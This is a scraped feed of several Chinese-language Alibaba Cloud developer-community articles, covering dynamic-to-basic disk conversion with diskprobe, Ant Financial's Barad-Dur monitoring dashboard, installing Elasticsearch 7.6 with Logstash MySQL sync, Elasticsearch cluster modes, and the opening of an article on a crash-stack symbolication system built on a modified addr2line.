      https://docs.microsoft.com/en-us/sysinternals/downloads/ldmdump
      image.png

      解决方案:

      将新磁盘在无损数据的前提下从动态盘转换到基本盘:重新配置分区表并将system id从dynamic 改为ntfs。需要借助diskprobe工具 (包含在Windows XP Service Pack 2 Support Tools)https://www.microsoft.com/en-us/download/details.aspx?id=18546
      Drives找到对应的磁盘,选择Set Active(以drive2 为例)
      image.png

      首先读取sector0的信息,view 以partition table展示,其中relative 表示起始扇区,total sectors 表示总扇区数。从截图看到起始扇区是63,总扇区数是41940929,总扇区数=结束扇区-开始扇区+1,因此结束扇区是41940991。
      image.png

      image.png

      之后判断起始扇区和结束扇区是否正确,查看sector 63和 sector 41940991 都是空,说明起始和结束扇区不正确,需要在偏移位3的位置用ntfs 标志查找起始和结束扇区,分别是2048和41938943
      image.png

      image.png

      转到sector 2048,View 以NTFS BootSector 展示, Hidden sector 设置为起始扇区2048,Total sectors 设置为结束扇区-起始扇区=41936895
      image.png

      最后查看sector0, View 以Partition table 展示,relatvie 设置为起始扇区2048,Total Sectors 为结束扇区-起始扇区+1=41936896.
      image.png

      sector 0以Bytes显示,将42改为07(42表示的是动态分区,07表示是NTFS 分区 ),write sector 进行保存。
      image.png
      image.png

      重新扫描磁盘后,可以看到磁盘显示为一个基本盘,可以进行数据读取写入操作。
      image.png

      ]]>
      蚂蚁金服智能监控云原生可观测大盘设计概览-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 背景

      蚂蚁金服业务自定义监控是蚂蚁金服监控产品中的一个重要功能,主要是通过自定义日志数据源并配置大盘的方式来解决蚂蚁金服业务实时监控的需求。在产品功能上,用户可以通过对一系列日志数据源的创建、组织、管理及表单配置化的方式,简单、快速组织出一个多维监控大盘。这项能力在当时是一个具有创新性的能力,从功能到产品体验上很好解决了当时蚂蚁金服复杂业务监控的痛点。

      但是,随着蚂蚁金服监控产品的不断迭代更新,以及云原生可观测性对于监控大盘的高要求,大家对自定义监控的体验诉求也越来越多,包括更便捷的交互方式、更丰富的图表、更丰富的数据源、更多扩展点等,因此对监控大盘的升级也势在必行。

      本文将介绍蚂蚁金服监控产品在监控大盘方面的创新设计与尝试,新版自定义监控大盘 Barad-Dur 目标成为业界体验最优秀的自定义监控大盘,在交互、体验与设计理念上有诸多创新点,同时将以模块的形式发布,支持二次开发,可以同时为蚂蚁金服内外监控系统服务。

      产品体验

      WYSIWYG

      当前优秀的监控大盘产品都标配一个“所见即所得(WYSIWYG)”编辑器,这方面能力是蚂蚁金服监控产品一直缺失的。在蚂蚁金服监控产品中配置大盘还是通过传统的表单方式,对用户非常不友好、学习曲线陡峭、配置效率不高。导致用户经常将配置大盘作为一项需求提给监控团队,由监控团队的“大盘配置专家”来进行配置,不仅存在较高的沟通成本,也给监控团队增加了很大的负担。

      在新版监控大盘 Barad-Dur 中,对 WYSIWYG 编辑器的交互体验进行了大量工作,力求做到市面上最优秀的编辑体验。

      体验1:缩放

      Barad-Dur 的缩放是可以在四周以及四角上进行的,而市面上常见的大盘产品只支持右下角的缩放。由于坐标系统一般采用的是 (left, top, width, height) 来定义一个矩形,最容易实现的就是右下角缩放,只需要变动 width 和 height 两个参数即可。最难实现的是左上角的缩放,四个参数需要同时变动,且关系比较复杂。特别是在引入网格布局后,缩放时要自动“吸附”临近的网格点,难上加难。

      1_scale.gif

      体验2:拖动

      Barad-Dur 的图表拖动可以实现图表位置的一步交换,而市面上常见的大盘产品需要进行多次拖动才能实现两个图表的交换。且在拖动过程中,图表的整体布局会被打乱,而 Barad-Dur 不会存在这样的问题。

      2_swap.gif

      体验3:自动重布局

      Barad-Dur 的自动重布局功能非常强大,可以支持实时布局预览(当然市面上常见的大盘产品也支持),同时大盘的布局调整会根据具体操作(缩放、拖动)的方向进行。而市面上常见的大盘产品只能在垂直方向上进行布局调整,因为所用的算法非常简单,只是粗暴地把所有图表向页面上“推”。

      3_layout.gif

      体验4:任意位置

      Barad-Dur 的布局支持图表在任意位置摆放,而市面上常见的大盘产品由于上述的简陋算法,不支持此功能,所有的图表必须堆叠在页面的顶部。

      4_free.gif

      体验5:布局复位

      Barad-Dur 的自动重布局能够在对单个图表进行调整时将其他图表“推开”,然后更强大的是可以再将被推开的图表复位。这里找到了市面上常见的大盘产品直接拿来用的开源布局框架进行对比。该框架其实提供了上述的任意位置功能,然而由于没有布局复位的功能,导致该功能一旦启用,会令整个大盘在编辑过程中布局被扰乱,对用户起不到任何帮助,所以市面上常见的大盘产品没有启用这个功能。

      5_reset.gif

      体验6:文字编辑

      Barad-Dur 支持在大盘中添加静态文字以及对于文字的编辑。静态文字可用于公告、标题、说明等一些常见的大盘场景。

      6_text.gif

      功能对比

      Barad-Dur 市面上常见的大盘产品
      任意拖动 ✔︎ ✔︎
      任意缩放 ✔︎
      多样图表 ✔︎ ✔︎
      图表实时编辑 ✔︎ ✔︎
      图表导入导出 ✔︎ ✔︎
      任意布局 ✔︎
      添加文字 ✔︎

      综上对比,可以看出 Barad-Dur 的 WYSIWYG 编辑器在各项功能上已经领先于市面上常见的大盘产品。

      控制器

      大盘,即 Dashboard (in an automobile or similar vehicle) a panel beneath the front window having various gauges and accessories for the use of the driver; instrument panel。其本意是指汽车上的仪表板,这里的仪表板包括了两类组成部分:监视器、控制器。在仪表板上不仅能看到汽车的当前状态,也能对汽车进行各种控制。这是大盘的本意,但是就目前看来,市面上所有的监控大盘产品都缺失了控制器这个重要的组成部分,导致监控大盘其实只是监视大盘。如果只是用来监视的,那大盘独立存在就没有意义,就像汽车的仪表板上只有转速表、时速表、里程表,却没有油门、刹车、换挡杆。

      我们再来看几个工业产品的大盘:

      image.png

      面向普通消费者的量产产品

      image.png

      面向专业消费者的量产产品

      chernobyl.jpeg

      面向专家的定制产品

      控制器是不可或缺的组成部分,甚至比监视器更加重要。Barad-Dur 提供了在大盘中设置控制按钮的功能,可以实现一些简单的控制,比如关闭/启动报警、打开钉钉聊天窗口、启动控制预案等。日后会不断加入更加强大的控制功能,让蚂蚁金服监控大盘变成一个完整的监控系统。

      技术实现

      自定义数据源

      上文提到 Barad-Dur 支持二次开发,支持自定义数据源,仅需一点点工作即可接入自己的数据源:

      1. 继承 AbstractDatasource,并实现 doRequestData 接口;
      2. 调用 registerDatasource 将数据源注册至 Barad-Dur(如果使用 Barad-Dur 的数据源编辑器,可在注册时指定自定义的数据源的编辑器);

      Barad-Dur 会对所有的数据源进行包装,提供缓存、增量加载、请求合并等功能。

      统一时序数据源

      为了实现自定义数据源能够在任意图表中正确展现,Barad-Dur 定义了一种 universal 的时序数据格式,支持多 key 以及多 value。所有的时序数据源(以后可能会支持非时序数据源)都会将查询结果转换为这种格式,所有的图表也都会使用这种数据格式进行展现。

      使用统一数据格式的优势在于,图表和数据源都是按照同样的数据接口(约定)来实现的,所以图表和数据源是可以独立变化的。即图表可以任意切换而不需要改动数据源配置,数据源也可以任意切换而不需要调整图表配置。这是市面上常见的大盘产品做不到的。

      另一大优势在于计算。Barad-Dur 支持数据源的简单前端计算(如计算比率的场景需要将数据 A 与数据 B 相除),在使用了统一的数据格式之后,将计算也视为一个时序数据源,它的输入是一组时序数据源,也就是说一个计算数据源可以引用另一个计算数据源。这也是市面上常见的大盘产品做不到的。

      Scene Graph

      Scene Graph 的概念常用于游戏引擎对于场景的渲染。由于场景中各个节点有父子关系且子节点的空间关系常常用相对于父节点的量来表示,所以需要一种数据结构来将这些 local 空间的量(translation、rotation)转变为 global 空间的量,才能最终转换成屏幕空间的量用于渲染。这种父子关系恰好对应了大盘中的各个图表以及整个大盘的关系。就拿一个最常见的需求来举例说明:大盘上有全局回放的功能(这是一个非常重要的功能,没有这个功能大盘就对排查问题毫无意义),而每个图表又有自己的设置:

      • 时间跨度:分钟级的图表与秒级的图表不会展现同样范围的数据;
      • 时间偏移:图表数据产生存在不同的延时;

      我们可以使用类似 Scene Graph 的数据结构来保存每个图表自己的时间轴配置以及全局大盘的时间轴配置,最后计算出查询数据所需的时间参数。

      同时,未来还会引入技术栈的概念,即一个预定义的图表组,可以直接放入到自定义的大盘中,只需要做少量配置。例如,用户可以一步创建一台物理机的 CPU、Memory、Disk 监控图表,只需要修改这个图表组的 ip 参数。

      所以在 Barad-Dur 中借鉴了 Scene Graph 的设计理念,并融入了大盘的设计需求。

      image.png

      总体是一个树形结构,但是每个节点都会有一个 MVC 结构,将数据源、视图以及控制数据分离,控制流与数据流分离。同时数据源部分可以相互依赖,使 Barad-Dur 可以优化数据查询,做到缓存、增量查询、合并查询等。

      未来展望

      目前 Barad-Dur 已经内置支持 OpenTSDB、CeresDB(蚂蚁自研的高性能、分布式、高可靠时序数据库,支持  PromQL)以及部分蚂蚁金服内部数据源,计划将兼容更多数据源,如 PromQL、InfluxDB、MySQL 等常用监控数据源。本文提到的可以预定义一组图表以及一组变量,创建大盘时可以快速添加相应的图表组件,同时也支持导入从其他大盘产品直接导出的大盘,使用户可以快速平滑迁移。

      希望本文的介绍可以为大家在云原生监控领域的设计带来一些思考与启发,也欢迎关注该领域的优秀的你,跟我们交流更多想法~

      关于我们

      欢迎来到「蚂蚁智能运维」的世界。本公众号由蚂蚁智能监控团队出品,面向关注智能运维技术的同学,将不定期与大家分享云原生时代下蚂蚁金服在智能监控的架构设计与创新方面的思考与实践。

      蚂蚁智能监控团队,负责蚂蚁金服的基础设施和业务应用的监控需求,正在努力建设一个支撑百万级机器集群、亿万规模服务调用场景下的,覆盖指标、日志、性能和链路等监控数据,囊括采集、清洗、计算、存储乃至大盘展现、离线分析、告警覆盖和根因定位等功能,同时具备智能化 AIOps 能力的一站式、一体化的监控产品,并服务蚂蚁金服众多业务和场景。

      关于「智能运维」有任何想要交流、讨论的话题,欢迎留言告诉我们。

      PS:蚂蚁智能监控正在招聘 AIOps 专家,欢迎加入我们,有兴趣联系 boyan@antfin.com

      ]]>
      记Elasticsearch安装与数据同步-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800
    2. 公司开展电商业务,之前有开发过类似项目,并没有涉及首页搜索功能,这次鉴于首页所搜需求变动,不仅仅是搜索商品,还要搜索店铺,直播及主播,现有实现方式是直接搜索数据库,为了增加用户体验,减小数据库的压力,so改用Elasticsearch实现首页搜索功能。
    3. Elasticsearch安装

      1. 准备elasticsearch安装包,版本选择7.6.0;官网地址
      2. 使用root用户创建es用户
      useradd es

      然后为es用户设置密码

      passwd es
      
      1. 修改/etc/security/limits.conf文件 在文件末尾添加
      *       hard    nofile           65536
      *       soft     nofile           65536
      
      1. 修改/etc/security/limits.d/20-nproc.conf文件
      *            soft            nproc     4096
      
      *            hard          nproc     4096
      
      root       soft            nproc     unlimited
      

      在/etc/sysctl.conf文件末尾添加

      vm.max_map_count = 2621441

      root用户执行命令

      sudo sysctl -p /etc/sysctl.conf

      切换用户

      su es

      上传elasticsearch-7.6.0-linux-x86_64.tar.gz文件至es用户目录下

      解压到当前目录

      tar -zxvf elasticsearch-7.6.0-linux-x86_64.tar.gz

      修改/home/es/elasticsearch-7.6.0/config/elasticsearch.yml配置文件

      #这里写本机ip,
      network.host: 192.168.110.191
      #
      # Set a custom port for HTTP:
      #
      #http.port: 9200
      
      #跨域配置 网页直连使用需要该配置,否则不需要
      http.cors.enabled: true
      http.cors.allow-origin: "*"
      

      安装elasticsearch-analysis-ik中文分词器;在/home/es/elasticsearch-7.6.0/config/目录下创建analysis-ik目录

      cd /home/es/elasticsearch-7.6.0/config/
      mkdir analysis-ik

      将下载下来的中文分词器文件解压,并将config目录下的所有文件拷贝到/home/es/elasticsearch-7.6.0/config/analysis-ik目录下

      在/home/es/elasticsearch-7.6.0/plugins目录下创建analysis-ik目录

      cd /home/es/elasticsearch-7.6.0/plugins
      mkdir analysis-ik
      

      将分词器中除config之外的文件拷贝到/home/es/elasticsearch-7.6.0/plugins/analysis-ik目录下

      启动elasticsearch服务

      cd /home/es/elasticsearch-7.6.0/bin
      ./elasticsearch -d
      

      浏览器访问http://192.168.110.191:9200/出现如下页面则服务启动成功

      {
        "name" : "eshost",
        "cluster_name" : "elasticsearch",
        "cluster_uuid" : "muEaR2aHT6uT_F1lop84Lg",
        "version" : {
          "number" : "7.6.0",
          "build_flavor" : "default",
          "build_type" : "tar",
          "build_hash" : "7f634e9f44834fbc12724506cc1da681b0c3b1e3",
          "build_date" : "2020-02-06T00:09:00.449973Z",
          "build_snapshot" : false,
          "lucene_version" : "8.4.0",
          "minimum_wire_compatibility_version" : "6.8.0",
          "minimum_index_compatibility_version" : "6.0.0-beta1"
        },
        "tagline" : "You Know, for Search"
      }

      数据同步工具Logstash;注意:一定要保证版本一致

      cd /home/es/
      wget https://artifacts.elastic.co/downloads/logstash/logstash-7.6.0.zip
      unzip logstash-7.6.0.zip
      cd logstash-7.6.0
      mkdir myconfig
      cd myconfig

      在此目录下需要创建mysql.conf文件以及要执行的sql文件,以及数据库驱动jar包,示例(此示例为多表同步):

      -rw-rw-r--. 1 es es      23 Jun 22 14:08 commodity.sql
      -rw-rw-r--. 1 es es      24 Jun 23 10:35 instructor.sql
      -rw-rw-r--. 1 es es      18 Jun 23 10:36 live.sql
      -rw-rw-r--. 1 es es    4658 Jun 23 10:50 mysql.conf
      -rw-rw-r--. 1 es es 2018353 May 28 11:25 mysql-connector-java-8.0.9-rc.jar
      -rw-rw-r--. 1 es es      24 Jun 23 10:36 user_store.sql
      

      sql文件中的内容为

      select * from commodity

      mysql.conf文件中的内容为

      input {
          stdin {
          }
          jdbc {
            # mysql数据库连接
            jdbc_connection_string => "jdbc:mysql://192.168.110.191:3306/platform?allowPublicKeyRetrieval=true&serverTimezone=Asia/Shanghai&useUnicode=true&characterEncoding=utf8&useSSL=false"
            # mysqly用户名和密码
            jdbc_user => "xxx"
            jdbc_password => "xxxx"
            # 驱动配置
            jdbc_driver_library => "/home/es/logstash-7.6.0/myconfig/mysql-connector-java-8.0.9-rc.jar"
            # 驱动类名
            jdbc_driver_class => "com.mysql.cj.jdbc.Driver"
            jdbc_paging_enabled => "true"
            jdbc_page_size => "50000"
            # 执行指定的sql文件
            statement_filepath => "/home/es/logstash-7.6.0/myconfig/commodity.sql"
            # 设置监听 各字段含义 分 时 天 月  年 ,默认全部为*代表含义:每分钟都更新
            schedule => "* * * * *"
            # 索引类型
            type => "commodity"
          }
              jdbc {
            # mysql数据库连接
            jdbc_connection_string => "jdbc:mysql://192.168.110.191:3306/platform?allowPublicKeyRetrieval=true&serverTimezone=Asia/Shanghai&useUnicode=true&characterEncoding=utf8&useSSL=false"
            # mysqly用户名和密码
            jdbc_user => "xxxx"
            jdbc_password => "xxxx"
            # 驱动配置
            jdbc_driver_library => "/home/es/logstash-7.6.0/myconfig/mysql-connector-java-8.0.9-rc.jar"
            # 驱动类名
            jdbc_driver_class => "com.mysql.cj.jdbc.Driver"
            jdbc_paging_enabled => "true"
            jdbc_page_size => "50000"
            # 执行指定的sql文件
            statement_filepath => "/home/es/logstash-7.6.0/myconfig/instructor.sql"
            # 设置监听 各字段含义 分 时 天 月  年 ,默认全部为*代表含义:每分钟都更新
            schedule => "* * * * *"
            # 索引类型
            type => "instructor"
          }
              jdbc {
            # mysql数据库连接
            jdbc_connection_string => "jdbc:mysql://192.168.110.191:3306/platform?allowPublicKeyRetrieval=true&serverTimezone=Asia/Shanghai&useUnicode=true&characterEncoding=utf8&useSSL=false"
            # mysqly用户名和密码
            jdbc_user => "xxxx"
            jdbc_password => "xxxx"
            # 驱动配置
            jdbc_driver_library => "/home/es/logstash-7.6.0/myconfig/mysql-connector-java-8.0.9-rc.jar"
            # 驱动类名
            jdbc_driver_class => "com.mysql.cj.jdbc.Driver"
            jdbc_paging_enabled => "true"
            jdbc_page_size => "50000"
            # 执行指定的sql文件
            statement_filepath => "/home/es/logstash-7.6.0/myconfig/live.sql"
            # 设置监听 各字段含义 分 时 天 月  年 ,默认全部为*代表含义:每分钟都更新
            schedule => "* * * * *"
            # 索引类型
            type => "live"
          }
              jdbc {
            # mysql数据库连接
            jdbc_connection_string => "jdbc:mysql://192.168.110.191:3306/platform?allowPublicKeyRetrieval=true&serverTimezone=Asia/Shanghai&useUnicode=true&characterEncoding=utf8&useSSL=false"
            # mysqly用户名和密码
            jdbc_user => "xxxx"
            jdbc_password => "xxxx"
            # 驱动配置
            jdbc_driver_library => "/home/es/logstash-7.6.0/myconfig/mysql-connector-java-8.0.9-rc.jar"
            # 驱动类名
            jdbc_driver_class => "com.mysql.cj.jdbc.Driver"
            jdbc_paging_enabled => "true"
            jdbc_page_size => "50000"
            # 执行指定的sql文件
            statement_filepath => "/home/es/logstash-7.6.0/myconfig/user_store.sql"
            # 设置监听 各字段含义 分 时 天 月  年 ,默认全部为*代表含义:每分钟都更新
            schedule => "* * * * *"
            # 索引类型
            type => "user_store"
          }
      }
      
      filter {
          json {
              source => "message"
              remove_field => ["message"]
          }
      }
      
      output {  
              if [type]=="user_store" {
                      elasticsearch {
                      #ESIP地址与端口
                              hosts => "192.168.110.191:9200"
                              #ES索引名称(自己定义的)
                              index => "user_store"
                              #自增ID编号
                              #document_id => "%{id}"
                      }
              }
              if [type]=="live" {
                      elasticsearch {
                      #ESIP地址与端口
                              hosts => "192.168.110.191:9200"
                              #ES索引名称(自己定义的)
                              index => "live"
                              #自增ID编号
                              #document_id => "%{id}"
                      }
              }
              if [type]=="instructor" {
                      elasticsearch {
                      #ESIP地址与端口
                              hosts => "192.168.110.191:9200"
                              #ES索引名称(自己定义的)
                              index => "instructor"
                              #自增ID编号
                              #document_id => "%{id}"
                      }
              }
              if [type]=="commodity" {
                      elasticsearch {
                      #ESIP地址与端口
                              hosts => "192.168.110.191:9200"
                              #ES索引名称(自己定义的)
                              index => "commodity"
                              #自增ID编号
                              #document_id => "%{id}"
                      }
              }
      }
      

      启动Logstash

      cd /home/es/logstash-7.6.0/bin
      ./logstash -f ../myconfig/mysql.conf &

      ]]> Elasticsearch集群模式知多少?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文不涉及实战操作,仅限集群原理范围探讨,基于版本7.6.X。

      作者介绍

      李猛,Elastic Stack 深度用户,通过 Elastic 工程师认证,2012年接触 Elasticsearch,对 Elastic Stack 技术栈开发、架构、运维等方面有深入体验,实践过多种大中型项目;为企业提供 Elastic Stack 咨询培训以及调优实施;多年实战经验,爱捣腾各种技术产品,擅长大数据,机器学习,系统架构。

      集群模式

      Elasticsearch节点设计支持多种角色,这个是实现集群最重要的前提,节点角色各司其职,也可以任意组合,职责重合。

      image.png

      节点角色说明:

      • Master,集群管理
      • Voting,投票选举节点
      • Data,数据节点
      • Ingest,数据编辑节点
      • Coordinate,协调节点
      • Machine Learning,集群学习节点

      以下展开各种集群模式

      1.单节点(入门)

      image.png

      单节点模式默认开启所有节点特性,具备一个集群所有节点角色,可以认为是一个进程内部的集群。Elasticsearch在默认情况下,不用任何牌配置也可以运行,这也是它设计的精妙之处,相比其它很多数据产品集群配置,如Mongodb,简化了很多,起步入门容易。

      2.基本高可用(初级)


      image.png

      Elasticsearch集群要达到基本高可用,一般要至少启动3个节点,3个节点互相连接,单个节点包括所有角色,其中任意节点停机集群依然可用。为什么要至少3个节点?因为集群选举算法奇数法则。

      3.数据与管理分离(中级)

      image.png

      Elasticserach管理节点职责是管理集群元数据、索引信息、节点信息等,自身不设计数据存储与查询,资源消耗低;相反数据节点是集群存储与查询的执行节点。

      管理节点与数据节点分离,各司其职,任意数据节点故障或者全部数据节点故障,集群仍可用;管理节点一般至少启动3个,任意节点停机,集群仍正常运行。

      4.数据与协调分离(高级)

      image.png

      Elasticsearch内部执行查询或者更新操作时,需要路由,默认所有节点都具备此职能,特别是大的查询时,协调节点需要分发查询命令到各个数据节点,查询后的数据需要在协调节点合并排序,这样原有数据节点代价很大,所以分离职责,详细技术原理可以观看腾讯课堂《Elastic技术原理:数据查询》,里面讲解了Elastic执行查询的过程。

      5.协调读写分离(高级)

      image.png

      Elasticsearch设置读写分离指的是在协调节点上,不是数据节点上,集群大量的查询需要消耗协调节点很大的内存与CPU合并结果,同时集群大量的数据写入会阻塞协调节点,所以在协调节点上做读写分离很少必要,也很简单,由集群设计搭建时规划好即可。

      6.数据节点标签(高级)

      image.png

      Elasticsearch给数据节点标签,目的是分离索引数据的分布,在一个集群规模中等以上,索引数据用途多种多样,对于数据节点的资源需求不一样,数据节点的配置可以差异化,有的数据节点配置高做实时数据查询,有的数据节点配置低做历史数据查询,有的数据节点做专门做索引重建。

      Elasticsearch集群部署时需要考虑基础硬件条件,集群规模越来越大,需要多个数据中心,多个网络服务、多个服务器机架,多个交换机等组成,索引数据的分布与这些基础硬件条件都密切相关。

      7.主副分片分离(高级)

      image.png

      Elasticsearch集群规模大了之后得考虑集群容灾,若某个机房出现故障,则可以迅速切换到另外的容灾机房。

      8.跨集群操作(高级)

      image.png

      Elasticsearch单个集群规模不能无限增长,理论上可以,实际很危险,通过创建多个分集群分解,集群直接建立直接连接,客户端可以通过一个代理集群访问任意集群,包括代理集群本身数据。

      Elasticsearch集群支持异地容灾,采用的是跨集群复制的机制,与同一集群主分片副本分片分离是不同的概念,2个集群完全是独立部署运行,仅数据同步复制。

      9.跨集群版本操作(高级)

      image.png

      Elasticsearch版本更新很快,已知问题修复很快,新特性新功能推出很快,一日不学,如隔三秋。有的集群数据重要性很高,稳定第一,不能随意升级,有的业务场景刚好需要最新版本新功能新特性支持。

      结语

      经验总结

      Elasticsearch集群模式种类挺多,每种集群模式都有它的应用场景以及解决实际的问题,每种集群模式之间也可以轻易转换。所以说ES玩的好,下班下得早。

      声明:本文由原文作者“李猛”授权转载,对未经许可擅自使用者,保留追究其法律责任的权利。


      image.png

      阿里云Elastic Stack】100%兼容开源ES,独有9大能力,提供免费X-pack服务(单节点价值$6000)

      相关活动


      更多折扣活动,请访问阿里云 Elasticsearch 官网

      阿里云 Elasticsearch 商业通用版,1核2G ,SSD 20G首月免费
      阿里云 Logstash 2核4G首月免费


      image.png

      image.png

      ]]>
      崩溃堆栈还原技术大揭秘-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 0x00 前言

      当应用出现崩溃的时候,程序员的第一反应肯定是:在我这好好的,肯定不是我的问题,不信我拿日志来定位一下,于是千辛万苦找出用户日志,符号表,提取出崩溃堆栈,拿命令开干,折腾好一个多小时,拿到了下面的结果:

      addr2line -ipfCe libxxx.so 007da904 007da9db 007d7895 00002605 007dbdf1
      logging::Logging::~Logging() LINE: logging.cc:856
      logging::ErrLogging::~ErrLogging() LINE: logging..cc:993
      base::internal::XXXX::Free(int) LINE: scoped____.cc:54
      base::___Generic<int, base::internal::_____loseTraits>::_____sary() LINE: scoped_______.h:153
      base::___Generic<int, base::internal::_____loseTraits>::_____eric() LINE: scoped_______.h:90


      如果是接入了岳鹰全景监控平台,场景就完全不一样了。测试同学:发来一个链接,附言研发哥哥,这是你的bug,请注意查收。研发哥哥:点开链接,就可以在平台看到这条崩溃信息啦,如下图:
      image.png


      那么问题来了,岳鹰上有这么多的应用版本,再加上海量的日志,对于Native崩溃,总不能每个崩溃点都用addr2line或者相关的命令去符号化吧?
      岳鹰的符号化系统正是为了解决该问题而设计。岳鹰最初上线的版本1.0,支持同时符号化解析数量有限,对iOS符号化时依赖Mac系统,不支持容器化部署,消耗机器资源较多。
      为了更好的满足用户业务需求,岳鹰在年初启动了2.0版本的改造,并且制定以下目标:

      • 同时解析不限数量的符号表
      • 提升符号化的效率
      • 解除Mac系统依赖,支持全容器化部署


      那这样一个分布式的符号化系统该如何设计呢?接下来小编就来详细介绍下。

      0x01 方案的选择

      结合当前系统设计以及业界常见方案,我们有以下几条路可以走:

      1. 岳鹰1.0方案,用大磁盘,高CPU性能的机器搭建符号化机器,符号文件存放到磁盘,需要符号化时再调用addr2line;
      2. 建立一个中央存储,把符号文件上传到中央存储,符号化机器需要符号化的时候再过去拉,然后用addr2line符号化;
      3. 把符号信息按key-value方式提取出来,存入hbase或者其它中间件,符号化时通过类sql查询实现。

      结合岳鹰2.0的目标,我们对三个方案进行对比:

      对比项 方案1 方案2 方案3
      符号表入库速度
      内存占用 常态高 常态高 入库时高
      CPU占用 常态高 常态高 入库时高
      安全性
      可扩展性
      部署复杂度


      方案1:符号文件上传倒是很快,如果需要高可用,还需要镜像一份到备机,且在做addr2line的时候,会带来高内存及高cpu的占用,而且不支持动态扩容,安全性也几乎没有,拿到机器就拿到了源码;

      方案2:符号文件存放于中央存储,做好备份机制后,能保障文件不会丢失,但机器在符号化时,都需要去中央存储拉符号文件,之后的处理同方案1,查询效率不高,而且安全性也不高;

      方案3:在符号入库时,把符号信息按key-value方式提取出来,然后加密存入hbase,这里要解决符号表全量导出及入库的速度及空间问题。

      结合岳鹰2.0目标,我们对日志处理的及时性,可扩展性,安全性,以及海量版本同时解析的要求,我们选择了方案3。下面我们先给大家简单介绍下原理,再深入看看选择方案3要解决哪些问题。

      0x02 原理(大神请忽略这一节)

      国际惯例,我们先来了解一下原理,符号表是什么?符号表是记录着地址或者混淆代码与源码的对应关系表。下面我们分别用一个小demo程序来讲解符号表及符号化的过程。

      0x02-1 iOS-OC、Android-SO符号化原理

      a.示例源码:

      int add(){
          int a = 1;
          a ++;
          int b = a+3;
          return b;
      }
      int div(){
          int a = 1;
          a ++;
          int b = a/0;                //这里除0会引发崩溃
          return b;
      }
      int _tmain(int argc, _TCHAR* argv[]){
          add();
          sub();
          return 0;
      }

      b.对应符号表,这里简化了符号表,没带行号信息

      0x00F913B0 ~ 0x00F913F0    add()
      0x00F91410 ~ 0x00F91450    div()
      0x00F91A90 ~ 0x00F91ACD    _tmain()

      c.现有一崩溃堆栈

      0x00F9143A
      0x00F91AB0

      d.进行符号化

      0x00F9143A    div()    //查找符号表,地址0x00F9143A的符号名,在0x00F91410 ~ 0x00F91450范围内
      0x00F91AB0    _tmain() //查找符号表,地址0x00F91AB0的符号名,在0x00F91A90 ~ 0x00F91ACD范围内

      0x02-2 Android-Java 符号化原理

      a.示例源码:

      package com.uc.meg.wpk
      class User{
          int count;
          UserDTO userDto;
          UserDTO get(int id){...}
          int set(UserDTO userDto){...} 
      }
      class UserDTO{
          int id;
          String name;
      }

      b.符号表

      com.a.b.c.d -> com.uc.meg.wpk.User
          int count -> a
          com.uc.meg.wpk.UserDTO -> b
          com.uc.meg.wpk.UserDTO get(int) -> c
          int set(com.uc.meg.wpk.UserDTO) -> d
      
      com.a.b.c.e -> com.uc.meg.wpk.UserDTO
          int id -> a
          String name -> b

      c.现有一崩溃堆栈

      com.a.b.c.d.d(com.a.b.c.e)

      d.进行符号化

      //符号化com.a.b.c.d.d(com.a.b.c.e)    
      //查找com.a.b.c.d, 命中com.uc.meg.wpk.User
      //查找com.uc.meg.wpk.User.d 命中 set()
      //查找com.a.b.c.e,命中 com.uc.meg.wpk.UserDTO
      //符号化结果为com.uc.meg.wpk.User.set(com.uc.meg.wpk.UserDTO) 

      0x03 新的难题

      选择方案3后,主要瓶颈在符号表上传之后处理,这里主要工作是要把符号表转换为key-value,然后再写入hbase。现在主流的app开发有android的java及C++,iOS的OC,我们下面主要讨论这三种符号。
      因为android的java符号化有google的开源工具支持,这里就不再展开。
      OC因为是iOS系统,封闭系统,标准统一,上架AppStrore的应用,只用XCode进行编译,没有各种定制的需求。我们原来有一个OC实现的符号表kv提取程序,但是只能用于OSX系统,不便于线上布署,所以我们选择了用java重写了提取符号kv的功能。
      但是对于Android的C++库so符号表,即ELF格式,存在着各种版本,各种定制下不同的编译参数,会大幅增加用java重写的成本,所以我们使用了Java跟C++结合的方式去实现ELF的符号表kv的提取,先用Java程序把ELF的基础信息,地址表读取出来,然后再用addr2line去遍历这个地址表,然后再把结果存入hbase,这个为100%的符号化成功率打下基础。

      0x03-1 addr2line的问题

      改进前后的对比

      改进前 改进后
      应用场景 十几个地址的符号化 批量的地址符号化
      QPS 50 800
      地址传递方式 参数,有限长度 文件,无限长度
      额外内存开销 1 0.7
      多任务模式 不支持 支持

      当然,这个addr2line,是要经过改造才能达到我们的要求,原来的addr2line是给开发者以单条命令去使用,不是给程序做批量查询的,每次查询都是要把整个ELF文件加载到内存,像UC内核,还有一些游戏的so文件,大小要到几百M的级别,每个addr2line进程都要一份独立的内存。假设一个500M的so符号,一台64核的机器,假如用60核去100%跑addr2line,加上其它开销,它就需要35G的内存。
      面对这么高的cpu和内存占用,而且是一个较低的QPS,单核大约100QPS,我们也尝试去优化addr2line的binutils中的bfd部分,但是最终的接口都是调用系统内核的,这条路,短期好像走不通。面对这样的性能问题,期间也多次尝试用Java去重写这部分逻辑,但是最终结果只能实现与addr2line的90%匹配度,而且还有很多未知的兼容性问题,最后还是选择了改造addr2line,改造点主要有以下三点:

      • 从文件读取地址表,使用批量请求去addr2line,减少bfd初始化的次数,因为这个过程中,bfd接口在调用一些特定的地址转换后,会导致qps降到个位数,需要重启进程才行;
      • 减少额外的内存开销;
      • 支持多进程,多容器分布式任务调度,支持动态扩缩容,提高资源利用率。

      改造后,单核的QPS大约提升到800QPS,上面举的500M的so符号的例子,大约需要15分钟,基本能满足我们的需求。

      0x03-2 存储的问题

      解决完提取的问题,接下来就是存储的问题。
      符号表都是经过精心设计的高度压缩的数据结构,我们通过上面的方案把它提取出kv的格式,容量上增加了10+倍,而且很多信息都是重复的,如函数名,文件名这些,虽然空间对于hbase来说不是什么问题,但是在追求极致的面前,我们还可以再折腾折腾。
      前面提到我们因为要考虑数据的安全性,需要把存入hbase的数据做加密,所以不能直接用hbase本身的压缩功能,要求在加密前先做好压缩,如果是按行压缩再加密,总体的压缩比不会太高,我们可以把00006740~000069eb这一段当成一个大段,把它们压缩在一起再加密,这样因为重复信息较多,压缩比会很高,最终的体积可以缩小5+倍,相当于只是比原始符号表大3~4倍。
